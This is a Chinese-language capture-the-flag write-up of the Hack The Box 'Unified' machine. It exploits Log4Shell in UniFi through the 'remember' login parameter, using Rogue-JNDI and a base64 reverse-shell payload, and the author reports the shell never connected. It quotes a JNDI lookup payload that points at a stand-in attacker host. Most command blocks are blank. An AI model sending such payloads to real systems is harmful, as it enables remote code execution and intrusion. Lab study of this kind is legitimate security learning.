Hack-The-Box-Unified
Hack-The-Box-Unified
xxshhIntroduction
这篇博客探讨了利用 Log4J 漏洞攻击一个非常知名的网络设备监控系统——“UniFi” 的效果。通过利用 Log4J 漏洞,并篡改名为 remember 的 POST 头,来攻击 UniFi,从而获取该机器的反向 shell。
Write-up
nmap 扫描目标主机端口:
开放了四个端口,但是好像没得到别的有用信息。换个参数再详细扫描一次,发现两条有用信息:
nmap 尝试连接 8080 端口并获取页面标题,但它发现该 HTTP 服务进行了重定向。重定向的目标是 https://10.129.180.69:8443/manage
,该页面标题是 UniFi Network。访问这个链接:
可以看到 UniFi 登录页面,版本号为 6.4.54。UniFi 是一个知名的网络设备监控系统。那么现在想到的第一件事久是谷歌搜索这个版本有没有被爆出来的漏洞。通过搜索关键词 UniFy 6.4.54 exploit
,找到一篇文章:另一个着火的 Log4j:Unifi |链轮安全 — Another Log4j on the fire: Unifi | Sprocket Security,利用 Log4Shell 漏洞(CVE-2021-44228)实现对 UniFi 的攻击。
Log4J
- Log4J 是一个流行的 Java 日志记录库,它被广泛用于 Java 应用程序中,用于生成日志输出。
- 允许开发者在 Java 程序中记录运行时信息、错误、警告等。
- 支持多种输出目标(如控制台、文件、数据库等)
- 支持不同格式的输出,比如包括时间戳、日志级别、线程名等。
Log4Shell
- 该漏洞允许攻击者通过恶意构造的日志消息触发远程代码执行(RCE)。
- Log4J 的
lookup
功能支持 JNDI(Java Naming and Directory Interface)查找,它允许日志信息中的特定字符串动态替换。 - 攻击者可以在日志消息中插入包含 JNDI 查找请求的恶意代码,如
${jndi:ldap://attacker.com/malicious}
。 - 由于 Log4J 不对 JNDI 查找请求做充分的验证,攻击者可以通过上述方式使得 Log4J 向恶意服务器发起请求,加载并执行远程的恶意代码。
- 避免该漏洞的最佳方式是升级到 Log4J 2.16.0 或更高版本,以上版本已禁用 JNDI 查找功能。
首先抓个登录包:
前面那篇文章提到 payload 应该放在 remember 参数中:
|
由于 POST 数据是作为 JSON 对象发送的,但 payload 也有方括号 {} ,为了防止将其解析为另一个 JSON 对象,将其放在双引号内,以便将其解析为字符串:
点击发送之后,响应包显示 payload 无效:
尽管如此,payload 实际上正在执行。在端口 389 上启动 tcpdump ,它将监控 LDAP 连接的网络流量:
|
tcpdump 输出显示我们的机器上正在接收一个连接。这证明该应用程序确实容易受到攻击:
为了构建可以发送到服务器的 payload,并实现远程代码执行,我们必须在系统上安装 Open-JDK 和 Maven:
|
|
安装所需的软件包后,需要下载并构建 Rogue-JNDI ,这是一个用于 JNDI 注入攻击的恶意 LDAP 服务:
|
这将在 rogue-jndi/target/ 目录中创建一个 名为 RogueJndi-1-1.jar 的Java 应用程序。
构造一个实现反弹 shell 的 payload,为防止出现编码问题,对其进行 base64 编码:
|
接下来 启动 Rogue-JNDI 应用程序,并传递 payload:
|
本地开启一个监听端口 8888。回到 BurpSuite 将 payload 改为
|
发送之后,rogue 服务器显示以下内容:
|
然后监听端口处应该成功获得目标主机的 shell ,但是我反复尝试多次均失败,于是放弃,了解了这个思路就好。
Conclusion
这个靶场复现失败了,但也是有收获的。以后在渗透过程中,要做好信息收集,目标是否存在已被爆出的漏洞也是重要的一部分。除此之外,也了解了 java 相关的一些知识。